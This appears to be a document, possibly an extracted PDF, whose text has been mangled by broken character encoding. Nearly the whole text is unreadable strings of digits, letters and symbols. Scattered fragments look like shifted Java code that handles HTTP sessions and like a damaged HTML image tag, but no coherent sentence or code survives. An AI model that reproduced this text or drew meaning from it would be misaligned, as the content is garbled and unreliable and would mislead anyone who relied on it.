983C5?23@ 2 3863? 686;8= 8 63 >067= 3212345678 322323 =EFG59542 ? 3 =217A2?9 344386352:93937875 ? 3 32327>0386371B3582 3325677332 4 33? 3267= 352:932621234567842>0 56773186 72 3 6:939429=2?23@ 886 03863 ? 67= 321234567832329 ?239 6 8 H59=23582621234567832329 EFG5954233 7 38? 67 3 26EFG 5954@3378862338 G ? 38= 3212 35932123323224233 8A26 ;46212345678 52:939 886?289B3582 0 56773 3186?2865232A2 38638 895 895 26 25447:8 3  =37 >01234567852:9393323226@EFG595 86B38 I>01234567823C57852:9352 738 J>0  33352:9394@2 75286393352:934 338 EFGK42621234567842> >H863 C3233582 L>H863 73 8 06EFGK4 359321239 4 33832 3186532 3232269335232428H83M28 986359 863;A22 837:NO 3@1C852= 6? 38; > 0 3 64  =7353C323C 4 256773?28652352>06 8:8262123923 B@EFG595N:>7:C3>PO

5B3582>06EFG59586 63 26212345678 86 6333;67>06EFG2 932123 6323222378359822732625447:12 78C32382 QQQQ QQQQRSTUVQWXYZ[]^ `ab QX]cd[]e^ fghij Sk QQQQRdlmlZXmk QQQQQQQQRVe[]Q[d^n`nQXUocdX^npbbqnQVe[]]lUX^ncrl]dl]nQ QQQQQQQQQQQQQQolZZsYd^ncrl]dl]nQVe[]X]ltVXd^nunvk QQQQQQQQRVe[]Q[d^nwnQXUocdX^npbbxnQVe[]]lUX^ndXXolynQ QQQQQQQQQQQQQQolZZsYd^ndXXolynQVe[]X]ltVXd^n]nvk QQQQQQQQRvdlmlZXmk QQQQ QQQQ 0 3 6 :84 2 3186= 3M9 z379 3@1C85 863; 2:z892393 :B3; 72z212345678?96  0123456789 38638     !"# $%$&( )*!+ $, $, -$, ./01&2113 4,5#26 $5$- #7%.%$&25813 4,8,, 8 99:;!! 2<22<226 =(# $&5$6 >  06?@AB4 C35D9321239234 3E3FG 2621234567842H

I((,, /   !"#J%#J&( )*!+ ,#J- (K,L1,#J& .%$, &%$, I& %M =N J1&2!=.*1,26 =,#J6 >  O63EP3Q C 7C1R3S23T 24 3E3E3332D329US96 2VW89T1T2123456783863 X YZ[]^ `aZbcZde[fZc 0 g83h9UV 3 D3DC186D ij E8863333863EDCj633476398R326 212345678 38638S 6X0k763Q83DU 3E44 GEC4E6Q3863k2123937835U9i23 lmnCW79C5783863H062 2U26589 opqkG 3C D863G WF22CC2 CQD68r S9ij2 D3knCW7T P2T42CFT UsE1C BX0 386335U9i23585D22g83h9UV 3 DC186D S 3Q8i 3212kS286C5T7 6 QV2D2CW89 tiDr47 C3js63ukFij68D 8 8Q447 P78862F5386585D2X 0 Fij633 3P Cj8i 8Q44 E6P3CG 78 86D 863S 3Q 84QPR3S 3QX0 3863 S 6 CQD687V9C39 E3S 3Qr2S9 2 7FE3 94F 3nU9 D3 E886S289CR3S23T245678C37FE3D3 X vwxwbyzc{b|b}Za~{[fdya€b‚ƒb„ †Zd‡[ ˆZ†bd{`afy[{ l‰2D2CW8B9D7C3533863HO6C38633RVn82DD2869i5rS9ij2kVR38G

2kS286C5T 532 Pi6C1Q 6 873P Cj8i UsP 389D53X03P Cj8i 7FE8 3ED3CS 3 iD2k7n82Cr ij 86E678354TP52863P223P Cj8i U 3Š7 3P S286C5S23nC ij 8WD7V3Cj P378X03863 S 6 CQD687V9C39 E3S 3Qr2S92 7FE394F 3nU9 D3 E886S289CR3S23T245678C37FE3D3 X  0123456789 38638 8386306 8986359 386383869591  886783863091 2886783863   168 83269 3 68367 0 3186 3!8 321 26 83863 1 2"65852 826 1  24567821239 23#3!#886 289$35852 % 838630 3186  7&793 29 23 #633476398$323 87 3863 680 3863 68675 2323 83 8  %#44 #6#334 5$323286753 78 9865822(#187"2232 56237 2")892327  84 88 0 386321239 2"6585 863  6 3! 2 1863 872237863752 0123*973533860 3186 3!8 321 2 3863 6 868 8 4  ! 21239 239  55852863476398$3  3 38632123893  5  )27683588632284  !212389&958 7# )27682782

+,-.+/01234423564732 0 89:388 3186 )2 26 212345678 3 87 3863 68 8 73 8 23592358203863 2358"872 #3 6!"939452 0123&958 7#826 313212345678)8239 28652352 26213&958986 8 #  3! ;838633 96582 2 2321:<="22)89 7#8 2 2358"2237  21582>"78388658652 12248652? 2 3863 &33235820 &3323585 3#44  235871 78  3!0 35923933 6198998"562988 #3 4 1 633 2358  1 3 82 31863#4438$3"22378359232&78 8354562398  $38386953232&335872123903"223 #67 26 8 23587"8 #38 7373"15 2 2")8923 7"$3871 2 "22)8 !86$3871  0186 #91923476398$32386321239 !5$358278 @ABA.CD2EFG+,-+/012344H323123564732IJK3L3M3N   0123456789 38638 !"#$%!&()*"+,-.-/0"!&12!"(!!(3 452865

62123456788723863 689:;79:2735873863 621237:3<=735873863 6>1 773863 63=? 873863 6?239:@85<73863 A/B0%*C-DEE&F$FG2--"-.-/0"!&12!"(!(/3 452865H99623982123791 682386388 <@4 I3>5 27:19J3863 K5L35822 L>5:389:;7J?96 423863893323582M?287 =853 ? 33=:72 I>3 6K89:;7J=28L<@>7886226 N9:=2M?2: 7 87 =O39>544N82PN9:3=2 ;2791 7J198L3582 <@ 7844Q 6 ? 3K7=34 : 123863893323582M?287 =853 ? 33=:72 I>3 6K89:;7J=28L<@>7886226 N9:=2M?2: 7 87 =O>78862N82PN9:3=2 P-.-/0"!B0&"-&)-R+&*&&"GSB-!"T!(C-12!"(!!&)03 452865 68U863K7I=:@63V1 > 9N7 :382:149WX5 6N=9U 37:3<=5;7J8 I=:@63VN=9U;37:3<=2379:82:149WX5 61 7983=5;7J8 I=:@63V1 7982:149WX5 64 >63873863I=:@63VN=YN=919;379:38382:149WX5 6O677Q 8 I=:@63VN=919;379:X Z*F+-"%!&0-)."(!)--/0"!&!(-+B-&"0!

1TCC!(C!"[B(!()3 452865 6:6373545 6]^ `]Y 635=93 U5=589 6867:9:L7294U 3979 a!"-)&"--B(.*(-[)/3 452865  0123456789 38638 82 226588673386381526 !379352158 "68# 0123456782173$24 %333&1 797372 "6899838579737238638 0123456784 (239583863 )4)681 86)6) "& 78" 3 26212345678 21239 "8" *86732173269 "5!7+8"186",7&1 7  "68 0123,9-2 68$286"&"82 78 )6)3372123,9-2 "68  234567489  !"#$%&()*+,-#%./0(1&2+34#%!5!061!789:;<=>>1 ?@:7A!1%+B(5!)+B!5!C&DE!)%+.F+GH#EDC!89IJ9K=>>L M8:N8O?PO7,Q%&E#%!-+B#%#.#1!+,DDC($#%(&)1+%!1%()*I@8P8R8@=>0> 01 123456709 6553   6665 6 6767333 266 5235 55266 6265

 666 79 23373!67"6326 663  233736265335#3$53  66 36656 4 53 5!#32665  3 3#3$5235#%23&33 6 "763253766 676 2676!9 6 3(6#6656 63) (6#65 56565 535#69 * +,-+./ 5$(735337#350563 33(63!355 26756"550!76 !6752 57666 661/2 1* %1/25313735 76 39333 63!6 ) 576 3)  75 #6535#66 $56 669* 76 !676 565 66 4 5$444 6 66562656266%75 3 3)366!666 )3339*667)5 4#3 667"56(69*6"576 !676555333 655 3152* /1 56&2 )3523976 !676 3!3557 5475233672654 6 6  5375733152* 3 67&65% 53553(3 575473 57#334 6 6659*3 !6 ) 6#66 $533562 %$5(77)!473(35776 !67 6$56466

55&773 9*76 !67" 32)35 &)6 $5736546 753575!!683765239975  622647567#655%/1 4750(35)5 535)6265  347#656!65673776 !67 676552359*7 67656 &4643623352650:63#5 333 "6 %&46 76 !67" 233537 6 656 6" 6765523%5353335$33359 4732353 $5655567#65 32353  6765 6 67 6 5!#323953 6765765" 3646 (53562 755676 9*12766)!$555 67)#346 6)73 57623 45365 7(6$ 52656 $739*6 56256 6 (5) 6 5 6 537533 9*6 !3 654 73( 676556466  5 6753#33&745562656 6! 7235)9;7 3 56735$3"352355 < =>? @ =A*1>@ =,6752 ,67655"3233333 435(7

("656 6753,67255 36 76 759 5656 353334# 63 )!$555   6 46 A33 >@ 56&2 )3 233573 75 6 5 35 3>? @6 !356&2 )533359 0 012334567895 122747515354748725743823725827913122335 7544747845234  474827913974133362741 2213!"#277233$5652 4432212%31232 7#532&25 872825397364723793 62())( *+, -./2538 32021315227$312 2512132&!797782724#232!2 38202725$311271 37432 3474415153532 348%87264232 8202725$3114271327#71$55827443642512532 152&31$39142 )448322491427725!12 21237221228528202725$312 9*7973439143427!323!7  /25380:3;<47432 7194 1$5584 74 32482 752 274434 4 8202725$3132 973473654% 1797914 4

/25380:3;.42314/25=38 472512212$31270432 2 418470490784827 462&4 5747478491827723277 7225 74415153532343478444/2538 413872825394%09327 1!114/25380:3;.42313024474415 1535 852723232230285252123&25463%85251&254554&294 4 471%322234144747846454432132712891274434 5254144/25380:3;74/25380:3;1221/2538;,71 012334567895 1227277747565272131474116121182777  12797748 12214344179!144723"3"329!327 14251258 # 3213212322389412!9!91482277$43951 722775443"5223213213223 282189 427113978291959772633435185258 1391597 % 71% 7726334350 24274434 2821474872546 384397382791322154827726372$23728525&531& 47478

4747849154479452412274744545472512 2"5 15221377 12234122527251528 4$48951 327282523357251$12524611 221348272542728227$272129325212"112"3124 322512728227$27212148(2723247191589 !43 527524834122747745%38427$41597 2713233242512 343572212527534"112"342728223 444122747744 12474956341344474!15153( 3223)2 7485251223*3272137934"2329486 3434+ ,62-./-0 4611221325125852512 188659!1!14359 14$91458("4251241981$272572$4228 5272$23 0 37484314527732132755479454122747547251 012334567895 747 4515 25197391273244391449 

2232348341412151!24!52836 6 827 9739134 "# 57484!42211522$7223724#!235% 67914!&748431532!9!25 12!3$535 61532!435 11328&484 721297391421235726334344(112 321323024!25 12!27227237252429773336)74% 7849194772231574!!4 85 2545 12!3 4159714439197347272322339455472!752 *2!2!74732132712 013213 )2132132!91959738 12!31(2323543213139745 73!2 919!4+ ,)32132725 1397827723373!2 65284##93$184 3&14% 4527227432131397 43 -07(584##9454 7(23432132725 1397 13!63!993 $645441842891494914&).2324511423398 434 5 407#1285 4.232451398 43442132132252!979193 1!46127723255 8 5(23234321322!2 85342%

72131474334.23245141597361427213122474334/0,%21 2!34159736)32131397 4327132327489147% 4784911471725!8917642284##9441!84##48277 1485287324!4.23245173!2 4432131397 4346% 384361451 6573!229732)432!9(72!211434% 5352538497411654722312(7+0!213213483525 277843213!21454321327321397474#95$7254139% 75795 152474#9527132321313973&423213 532853218413974474#95 012334567895 62213172373291423245147433 639543213139727173237314823!61432"272#31 27$4%&085!25823!61143213"(5325297$4545 525252827)734794532(4511$32132755277*3+( 22!8522192721227121,232(21!531$

2427232157(3273!65(4(114313254!#6(11412327258.(2723353 * /41597#6(327223491*448322$52882"27270 5223#2712$823725722301(45(114"2#32544*531273$931 ,235312+31(27"2723#2"2#2133$(3272723213 4!2821432135*44832235281(251345147824!5$ 41597#6272332425*44832223$823725722301(45 6#4"!+391577"633435750*4483222723245147433235525823223#$14"27277(25526#"63915"69 37655"64358$8275252(2932139: 012334567895 62013213225297914232451123127 4369714483227124232!!4772"23121#482723 !28214321322733212$741512739$75% 0&4872()*3213123(+,-.52#48$741144 /044832223

1234563789:;<=7>5<?7@3AB8CD7AE65F@7GH=38A<5I7J7 7777A3@AK5L87M7NO@A3LPQ3AR65836AOCSA3@AK5L8TUL3SDV7 W 7777777777 X4432132271.732#4$-63341164$43Y63343"436523213$1Z 397+*213 72#[26213 72,#44$23"2343$1121231+213 ]$2^3, 62 01321322!8552474423245147433 )5329^ 13213+`4^361, 44474ab247478491$321327125525272"234`4^Z 361+4^"2,32827#4827"43$522325!1245329^ 1 2132132-633439194213213277254221$2368$ 012334567895 27218132528 277254236833 272141 74343 2512482 !2727252 "33823684739# 3213271"!531 $43612512!5313674519 4  432132 72527282%12&7230()4&47*19 1535225!6354+3252 8236814532 9*1321322(94$436151457411 42&47*19 13572 21%&4 4 54

527)52232527 72523"12 #31 &2712512252383213327277253325 366277255472376133519 33454*3213259313  2232512011328232!5974827 98 !72 852513 41597,$43612232512$4361532 9*1867$43618539 827234&232947761397, -62./0$4361011328 !27#31 1272#3122 121444!7243277482 !2727 27289175 4!61!27"72374230 5114$22512"2544322125 !63&41&2 2125 75243213212324&27334321321232412&2 7475!6354232 13129714 415974365"934 4159743 212321#313674&2325372 231 &453213!633435#5, / $4361 321321232 139743 41597&48272 72&7231213$412 412&72382%93372&723:2;621393372&723:2151293372115 72&723$5!72&723$532<3)11213$412478 82%84 2$5

32<31=32)14-7321213$4124-73282236845427 72512%-732$ 45-732$5!93372&723:2;621393372&723:2 1512)48233572 212512&72353&4 !73253!63343654 >247478491835 ?94 8951@5332132123223 4159765482 $436132131 72323 4159772&72312137632844511*7!633436 012334567895 22325127251122474 23225443213522 8525212325444452  5!52"32132123422 2#597436525 5!$%25 5!$%&13213 5!$%8236143 (4554823614827247251 7475#6354$25$%25$%% 84) 7&32 4 2  )2368 342772 3272*32331221 272324+17472#63343)94122 74782361434122 7475$123,$%3213$%324- .5$%%0 247478491#65+)954 72235263439144122&147251 7475182722342512 12*31&&272772523/5 122 74763439127725&1&24 

343213$%823614277*56547251 747974127725&1&2 2 3345425$%82361 09827 #63343918 397413)64 122 7475 8525&25 3272*325/52775&95 8 525131 4+22 8+432512341597 3642977*391435&/82224212323272577454345444+361 55212)4&2327&145325232527&23 682539+)4#/ 1&272 &223182323098725)44251213272*3/5 4159743254 13972373)27  4474827 139752834797 430552&3 4722364 55+12 )4#9)74+74114327254 474827)4#9)772 &2234159765 0717&&1&538917)6482#2727272444+361)4#9)7)4378&372231& 4564 438+437849)948917)64 +&73345432132725 .247478491 900:;<=7 8494  271 82 791 43&54 1252 )432132725.2474784912123&5)73272*325277 48761 85654 &1 )4 27#74791 4 933&3975191745 )4 #9)76

+4+361+2 +88 51+2+ +88 5133+7253 +88 5175412+3)3)4)653$4337#/82723 41597)6%063958 1*3164=+5#=.2875#69+197789537 2 >4 8 1*34544)6 474827 2512 5#69+1 97 789593485258 1*391273382531/27434748725 32)213&112772 9368 6334472&1*31/ #9)734 34789451*)6282)2&1&53  &18&38 1333 ?)6242322)2&134.242)2&1272)&2444@2 4A223"163956 04872B5CB44+3611272322977*39142 8+4325122 DEFGHIFJK LLDEFGHIFJMNOPFKQFGHIFJRFSTGFUJVGDWEFGHIFJMNOPFK LLDEFGHIFJMUIOEEK LLLLVGXYOZOU[FYUOUJEYEFGHFGYQFGHIFJ]FEJRFSTGFUJVG LLDWEFGHIFJMUIOEEK LL5DTNTJMZOGOPK LLLLDZOGOPMNOPFKZOGOP^DWZOGOPMNOPFK 012334567895     ! ! !  "#$ ! % 

&%&%%&&&"#$ !% ! ( )28* +,3272-./*2--2748011-22227723234424853222+52+5235+23826417 589 :*+;5<86629=801977;895>451-98;187251-22?723>2@26-51347973430/43;7 82641@6+*41-22?72352?53/514-4-3884728253970;1-397327@2152?539 0-6395*826+27741582552+41-22?72352+4-62788539@93/3;688725+5251 34391924*3,7312>24+;535522/827234+,?23+2-.*+0112<85897A 0B48472C(9D9CE4=361*1-22?7232+>2977F3914G;8=4322511-22>2   "$% ! !"$% ! !    "#$ ! !"#$ ! !  %  &%&%%&&&"#$ !% ! :-*977;895>45892?4554+8725>2@26-512+/3272--H+2-343,>>8341;570 275I

J645K6*12<8589734365+123J4513242L;M58230161;+43/122-2+88892;5 4*1-22?22;7147;5<6354+/F627528+41-22?22514E4=36188478=83;>@2+368;+43 819*:321-3<H66?552+>253213NNNOP457195;1F3@6+41-22?272323O?46891 1-22?22*;71478;>@2+368;3P/341-597@6+4-3/84@127725.28--H+*41-;+;33807 1;5*4-4112231OP/4112230Q6471OP8230161;++47?464<487OP8230161147387 >93*@27-H5+9:E4=36122511-22>2572323.156*?458851253213NNNOP82307 1613;-*>2685NNNOP51251NNNOP8230161;+4312<8589758/48272+=14+441;33321-3<H66?5527.33*O6395P<6354+729O0875+2--H5+?811-49:123J451 3242L;M5*885125321-3823016127.33*72<632941916741-22?22;7147;59P: >2685NNNOR2>S2Q6213*332S2Q6213P8230161442485322226E4=361;>@2+7 012334567895 368 48329773436543572211528227272548275 72517475638273343213726354321!3639551!5" 354725174756372#441!227475528734185"

2527725!1122125726333$27443449741!27725!1225#$ %4&3612()23685221!37393)441341!22747 79)95484)472633311!43472517474531748433 4*232!99579343)6+ ,62-.-%4&361321!823/616334391954748434 %4&361"4541!59743)6489821!3387&3)236843#6" 7614433489)945$0!221!2&1441!227475732! 89172517475127232%141!2274787&3)2368 41211502723%532(3142&50!241!59743/441232#$4 3213#$14324345#$823/6145#52841!59743)647251747 "2258233335677$572517475141!59743/44266213 #25$21512#25$711!22!28)2368732!82724 *232!2+ 266213 04)934421!397484821!33 93302723:2662131!397/71!984! ;7347945 4 25#$ 823/6145

41!597)629773164321!31 44832231413#2$3<95823/" 6114725272!4855&144" 8951 1 )236845 2!2 4 321!32714483225242977391931!7" 97)9+123:2832=> 211#$123:2832" 913<482#$123:2832212#$123?23#$ 21512 0!4821!3393302723:215121!39" 727954 &5 04)93 442 1!397 48 4 821!3302723%51!397/71!9" 84!@223123!3135&47" !97/448322234)68241!272352 012334567895 2 87577415974325973761 8236112353448232!"#123$2%723& 482!" $2%723(5323) 42 2823*27+%237257#26,45-& ,732.+51415974344%4173/ 05,,23$2%723(5323!"82361%114& 3132 12115 /2512%9734374589 452723*% 321!504797.4"482,133 23683 /3213,,%5 254191185

4159743.6#8427725*23.434& 347893 582,2,17232341454,2$2%723&532132713%,* 22131454,2$2%7231397 7 04872343(4036112%723321321231397!1723" 5555 555556789:;5<=:>58?@:AB=@C7DE F?8G?H7?ID5J?8G?H7?IDK 5555L 55555555MJ?8G?H7?IDNO>>POQOR?D?QEST7A;D:=ASU5S9=@=7DSKV 5555W 55556789:;5<=:>5D?IDB=@C7DEK 5555L 55555555XYOAO@?QZ?Q<9?D5I?Q<9?D5[5A?J5YOAO@?QZ?Q<9?DEKV 55555555DQL 5555555555554I?Q<9?DN6Q=;?IIG?H7?IDEQ?H7?IDU5Q?I6=AI?KV 55555555W;OD;]E^ ;?6D:=A5? K 55555555L 555555555555`TO:9ES^ ;?6D:=A5=;;7Q?>a5S5b 5? N@?DY?IIO@?EKKV 55555555W 5555555cOII?QDdO9I?ESZ?II:=A5:I5? :ID5?DSU5 55555555Q?H7?IDN:IG?H7?ID?>Z?II:=Ae>fO9:>EKKV 5555W 55556789:;5<=:>5?A>B=@C7DEgF?8G?I6=AI?5D]?G?I6=AI?K 5555L 55555555DQ5L 012334567895       ! "# $%& $(%")   *$$ )+ ,+ - "##& .$  $/  !

-0"1#-2%"#& 3$(%")4$  $%5)+ )1)+ $/ #& 6 6 * "7/ 7# 8 $-$" 9 $.$:-*-0"##-" :-.2;+ %+ 7#& 6 <7=251>?7@47?5>4>A4B?33>B4C48D32C>E41F597E43G6AH>4>ADCD1>I2977J3919C4K L2977J3G6A>4>ADCD1>B4C48D32CD3H>G2725>2123I25>M65N3=?5>B4C48D32C3>7?O?63 DC3DAC2K P Q>321F3>MROOSD5 I25>7 D3C2E?FF6A>4>AJS953>1F2CS72323K T U2OEJSG 6A>4>321F32725@V>823W@613K X Y4> I9C8=>A=SD327>A2723A2F=AH>4AA?C>4>321F3>1=A2C32725>Z861F9G>A2F275R5A[K 07 725VC=FFRA>4>1F2CS2C>?7@47=>AJS953>63WE43913K>]2725>2123I25>4>A=G2725^ 3A2FD1>M65AN=W3W7>27S9CG6AH>E?O>DCSD532725J312>4>1211=?5^3K QF>25@```Z[>A7 =251>?7@47=>MROOSD5>2O23725>B4C48D32C2>4>A4B?33>S9741F Z34C347?8H>S9741FAW@H>1R3=HKKK[ 3 Q>A7

=251>?7@47?5>27725VC=FE23GRA>4>A4B?33>34C347843K>]2725>2123I25>2O aUbH>48=52A>34C34784F5=>A277>2O>C21B?512>34O?3H>48=52A>4F>DC3DA2>c>A277 72O25K>ZQF>aUb>M27@?7O?F91>3dII>6341J391IW7>977H>3dII>72E23V1DO>=1>S45K[ Q>321F32A>M63343919C4>AD3>72E23V1DO>=1>AJ597A?F=AK>e63343E43G6A>2O>891=A>1F^ 2CS723>M?C89G9I45H>S4O>]f5=3>321F3I2>9O4FS4>ZG2725>B=774543I45>4>]f5=3>T^ 21>528>398?O43?33[K>gF2CS723AD53>M63343S4>E41F597565A>A277>4>3272BJ3233>C2@=^ C2N3?C>1F2CS72323>82O4@S4>52A=>4>321F3>?1F39765A>327G21>52SD3K>Q>S9741F>aUb M?C89368hH>@2>4>i4N361>?7@479CW7>723d73E23R5A>2O>`71>M9G73>E?FF9H>JO>A=82523 E387>1FdS2O>721FK>U=6395>27E272F3RA>4>j2I474A4784F91>OdA2CDI2>4>723d73d33

`17^3>4>ADCD1>4>8=>2123R5AI25>4>AdS23A2FVADBB25>5DF>A=k 0`48B72lKXKli4N361>1F2CS723>321F3>M63343914>Z>1?C[ /m*mn1n1.$:9;% $o %!%-p-/ $07-$:$-$:-9 $.$:q7!* $/$-7 012334567895 27439194415742285343478442112131314 411228521235427372919318252324821 23!52524212354232"##255$ %62&&(4)361127233213!522852451"25 *445)1174+232451477,633434-.,3/%01427""3277 21325!52845,!5527$ 0248#72& 0&(4)3613213,63343914,633434347478491 ,893945 444456789:4;<=<9:4>?9@4A=9BCD<E9BFGH4=EF;I4J 44444444K6B9<L<MN<69LOM;<P6BBMELE6BC;69<MCIIQ 4444R ,2535!72977343364(4)361#448322348"723272"

155)1474#327282233322977391437223"11597$ ST #4483227U#4485V3 WX5,69)1,9374582752522)4)361##232148524)7411 #434527772552Y32,59743454U)4)361)5,V)$Z)4)361323 ST #44832123127  3213 45 4 82,2727" 2512 973 977391947 . 1328123*#23-1 [72548252323443213228522374#3278223342121 8-\185254)34825232-4#)1744122747 872513!7278725#448323977321 ]6152512 ]61525125283213474784914528,7484315329)1 474784914822542123252^247478491.2312746 012334567895 384397345722323251328343432797734511 27253975!32872232!!48 "5 397#4!4$ 72232!47478491$% 682539"4!#98484238252327223

742325442328252%12712 39732$%2#98725527& 232#2977343"3213214#43"25%12423217!973439143 534( )6384361%391$732 9125%127223321$ !1*1! 2123582!"#974732 54328234913334515318425 398 !4333$%2#98725*7147478491382!36%5 )+2132123263343914%3916395, %3916395726334344953 3213223$482727863439111312$272572!-.53/+213012  343398 !43 )3313442741597"43$ !85%256!45434 !32823 41597442597.562343287237312$485%2543415974$ 4!453973$ !52825!252*75#2"425%12#25 )63843613272317441318252321221 73$441472 47849133272323*!72!21272 ),2741597"8252%18253$! $!25%12#252741597"43  4365732$84%%2597436$

!82723258725 8&27232234343!202745! 743625%12*58&%13 )62231!2353$ !4!2##2"43172373211*32977343"$  !956371"47482554!82%%!4% 33%9368!2"334315 82!425%120242"#9872373232$131*825232 7!97$321322%85282!3253232 )63843612"2325%12!27125%12521152277 7255202382! 7%914%"%( 2"232%285243281315274843938 5 212354883 13#2#2436$ !282!492#472 447849134112"7212%12$84%432827977391949!23 4!674747849112!31!27 :76%15!27%7%242"233$ !3353297391 ;534#12&2582!72234%52!2213$482737*!!25425%2 12!2742"233$142"31727$472 4$84% 2713432823

)627/<=*25237%11221/1232725%39121235$588398 !4391 )> 843$5511*1!9334%43#914 )898 176!5$482712!38659543 012334567895 2123434232318219865447252782124144 13761!67422"137213#422$3%&7323732(91954 8252324&232)* +23)448322524824914,33271)14542352&3277 8245 -./06$2/2045428253%4483222977391401&5"3 (4159736548(223233765"4&4542512520&2741&5 3971164545425&7397153253227439713 342827)977391954824914,334682432827)977391954 5318252330&2723254534745232451453"3(41597% 48346615"4323376539843 701)88&27232448322524824914 93213122597914444832252429773914

23234&232)297739147(36732* 4472: ;43214 +44832 93 .6$2/204542"6&215 72*<<<&4<7<1&5<382=3<365 8253 8&2764545412&225 &73% !67421 +77./0 >>>>> !67 ,5&253 !67?72*@25380=3A,$23< 67=87 ,5&253 !67?72*@25380=3A/537< 67=87 ,5&253 !67?72*@25380=3A.2&2< 67=87 ,5&253 !67?72*@25380=3A471< 67=87 +13"67$351 $(&23(243"?72134$(&2*><13<> 4$31 0"84753$4"B2$2531*28474211 35 0227429773914785252$2527725)4251241&5443" 39431(4&9739131727472(4279718917434482 82(&4445347478491348732(444#472"43125

7263343446533213223644391122124321325284891 15527277432823(4411221&73482538911470525 212325225232327429773332847$8212263954#227272325 27(23)172373(23)411211221328&21 012334567895 725174732132712 7251747321327123179777251747743213271248 4827797743954277251214725174712439195427 72512182412274745545114!"549741483 472512739747945#$%5252182791432213&54814!51 72(3252712521$013213219818279173245 45)27&723321325329*+132132551!272577454345$,223145 -272568.43189132132)633439194222532132123232212 872825397914!2725319)/391527$72(25122522233

40(325470532)4*234812/312772(47+77223!44132728223 4159751114)271433488659*+$5458525212325 52&527782/5654823+6143482325272&54&779)27$ 14554&72382791547467+525218279185379674 72(%5248745*184341597423+74838227725 5&5$055212/3127"5525)27/323!&127223!&45329 *+11)27&7233213!2523$72517475274213213$03311981 82791/59772(253573)913#48347212272/3233 867!41398437653482115329*+13213223121 2275$%47653251239741333682312/31277223823+6 14341558+5/539843!444)612728220485253# 3213271332131225*94312)59743655329+13213#5%, 8252323139843!44638439743+661545329743+#41597

43+53251227$ 013213 7251747017)65*5971321327123"7223114+72( 2537653$ 76533272/3122128248+"5 3943277*14723"7325&5 )7653$$$19*4838227745654)/3+541$03741:22721 235212889179184!4!84)9!751;<,4; 445*1473223!&82$063954)918(87)9!71/312195 4159743!64"5394572139743$64157+454=253331 139743277/56584!443)633435$,2231454)61450> 741#4443221)27&72325)633435/7223145$21321323 3/3!&)2743213823+61527725&4748725977/391 272113$3213823+614543213212322527225227482 18413974<213441272198433!4$3213)&525282345) 89*+431)823&54)&5)2!7222733$,2231453"5)89

*+31824572/9134410:3983481&121$ 0(4872?$@$?%2345)89*+824919548+!447633213 2123)&52 ABCDEFGCDHIJKEJLMNOBCDEPJDPDQKKLDCGPEL PRSJTOUJDDQCVWNOXXYZ[[O]^ 012334567895  ! "#$76%3#&251(2&#1288%725#8)*5#528#+&793((4#4#72,231-.21#/4&48-32&2+ 520-3#-1#-&3-+-31#"8%3#82.465+#4(3#+%#2*.34#4&5%#4(#511(2143-15-71#633#%1 ,41(597,4336+#4#82.1(*+33#1237/89#-1#324&:;589#823)61+431#<73479=45 4#1237/89>=45#,*((6+#7-3&2#4(#%?(43?#=32+3683#8@%82&9A#48%3#4#324&> :*;589>=45#729774365+#-1#4#&222&25B%9393#5677>&4#9774336+#82(6395#4#1(28-3.C33? 2271(4=44391#"#321(3#+-1(723#8@213D6%39#*1(397#2.34#511(2#4#321(3#21232%5> 3+23A#48%#2.#9734765+#22%5%973#*1(397#8@213D6%3#721(9&84(333491#"#&251(2& 84.4#22%5%97#2#$&482;*&+D6%32>3A#48%#34&34784(#321(3#21232+23#8@213E412

*1(397+439#48272+#398.4339+#+F755=5(?#34/61G#321(327-13#%1H#41(%5+&*5 321(327-1A#227,41(597)%#227F723#321(327-13A#13=1#1#"#223721(3-1#47433#1(F+1-. 045#04748%725#.&42%+61#321(3#263343)#47+4784(91#7-3&2,*(919&4A#-1#4554+ ,41(597439&41#D(2&25B1-&2#4#$76%3#34&34784(#2.#"6I#47+4784(913A#4827#72> 26334334#4#321(32+23#843#8634334#4#4(#2&28-52+231#0,,2(#4#723573,23?#D48> /72@213I6552&#8J87#29373#+277#227F74&565+1#0552+#4#+)34#4#+5023+2(?H 0J48/72K1L1K"#$76%3#.&42%+61#321(3#263343)#47+4784(91954+#+)34 MNOPQRSTUMVWURXTUYZUO[ ]^ `aabcdefcgh ^]bhi ]^Tjkffa llmmmneogpqndg]lrsstl]^]bj ^]bhi ubvchfTjkffa llmmmnocwcfebaxc]efqinhqflrssyl ubvchfj zbe{gvfTjepigbvfqj dxqefcgh|g]abqfqTjifexf}qif~xgdqiiq€qhfj mcofkTj‚ssƒjkqcwkfTj‚ssƒj„  ]^ dxcaf„ MW†‡|ˆ`}`‡ Q S RVX SQRVV‰RVSQRŠS‹ŒRVSQRŠS‹ŒR  Q

SRŒŒQ RVŒQ R‰RŒŽ  Mz SRRS‰RSRRRR   SR‘SS’‘SS’TRŠ‘SS’Ž  R‘SS’V “”RŠŒQ R‰RŒŽ  WR•RSVS‰RR‘SS’Ž !  ––[ l]^ dxcaf„ z ubvchf }qif—qivbfˆciabe{mcofkTj‚ssƒjkqcwkfTj‚ssƒj ˜l„ 012334567895    !"##$%& (4))*321+3,-1+72327.5/039141 3*421+3,-1+7235)(2,36841 3+*67211583455.1+58*,277829.18-3275*4829:2727;627<215)(2,368847 4=95*321+3,-1+723>5,?451@.6395*27,-1+03233>,4829:2727;321+3:63343A 984:.,61*8B87:9(73C:58/0316,724+47,4784+9165,43D9C=592+4:9(74/(44+ 47,4784+9165,*:;4)74,936E741=F2?275G474332+4+37H41I58G.7271*E63341< 16,*4G85(2,323C2+63954321+3:63343A4)74,93:59(6,7935.C*48274=933-8)25 72:63343(4*4321+32,23C84(/829(272503.*4+282/8-52,231 J84:.,61*27282,321+327-124E76.53*825/1+2882772=231-921C/21+9851/575<

